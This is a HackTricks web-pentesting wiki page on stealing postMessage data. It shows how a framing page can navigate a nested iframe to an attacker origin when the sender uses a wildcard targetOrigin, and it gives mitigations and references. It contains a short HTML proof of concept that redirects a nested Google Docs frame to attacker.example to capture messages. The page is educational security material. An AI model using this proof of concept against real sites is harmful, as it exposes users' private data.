steal-postmessage-modifying-iframe-location.md (3400B)
1 --- 2 title: "Stealing postMessage Data by Navigating an Iframe" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Stealing `postMessage` Data by Navigating an Iframe 14 15 ## Navigating Child Frames 16 17 Suppose an attacker can frame a page that is not protected by `X-Frame-Options` or CSP `frame-ancestors`, and that page contains a nested iframe. Cross-origin scripts cannot read the nested document, but browser cross-origin interfaces expose limited `Window` and `Location` access: `window.frames` can be read and a referenced window's location can be written.<sup>[[1]](#references)</sup> 18 19 This behavior can become a data-exposure primitive when the nested document receives sensitive data through `postMessage(..., "*")`. If the attacker navigates the intended receiving frame to an attacker-controlled origin before the message is sent, the wildcard `targetOrigin` allows the replacement document to receive the message. Both MDN and OWASP recommend specifying the exact expected origin rather than `*` whenever possible.<sup>[[2]](#references)[[3]](#references)</sup> 20 21 The same underlying race can involve a child, parent, or opener window when the attacker retains a window reference and the browser permits that particular cross-origin navigation. The critical conditions are control of the navigation timing and a sender that uses a wildcard or otherwise incorrect `targetOrigin`.<sup>[[1]](#references)[[2]](#references)</sup> 22 23 The following proof-of-concept structure is adapted from a Google VRP write-up. Frame indexes and navigation permissions vary with the document tree and browser behavior, so inspect the actual hierarchy rather than copying the indexes blindly.<sup>[[4]](#references)</sup> 24 25 ```html 26 <!doctype html> 27 <html lang="en"> 28 <body> 29 <iframe src="https://docs.google.com/document/ID"></iframe> 30 <script> 31 setTimeout(() => { 32 // Retry because the nested frame may be created asynchronously. 33 setInterval(() => { 34 window.frames[0].frames[0].frames[2].location = 35 "https://attacker.example/exploit.html" 36 }, 100) 37 }, 6000) 38 </script> 39 </body> 40 </html> 41 ``` 42 43 ## Mitigation 44 45 - Send sensitive messages only with an exact `targetOrigin`. 46 - On receipt, validate both `event.origin` and, where appropriate, `event.source`. 47 - Prevent unauthorized framing with CSP `frame-ancestors` (and `X-Frame-Options` for legacy compatibility). 48 49 ## References 50 51 - [1] [MDN - Same-origin policy: cross-origin script API access](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#cross-origin_script_api_access) 52 - [2] [MDN - `Window.postMessage()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) 53 - [3] [OWASP HTML5 Security Cheat Sheet - Web Messaging](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#web-messaging) 54 - [4] [GeekyCat - Google VRP: Hijacking Google Docs Screenshots](https://blog.geekycat.in/posts/hijacking-google-docs-screenshots/)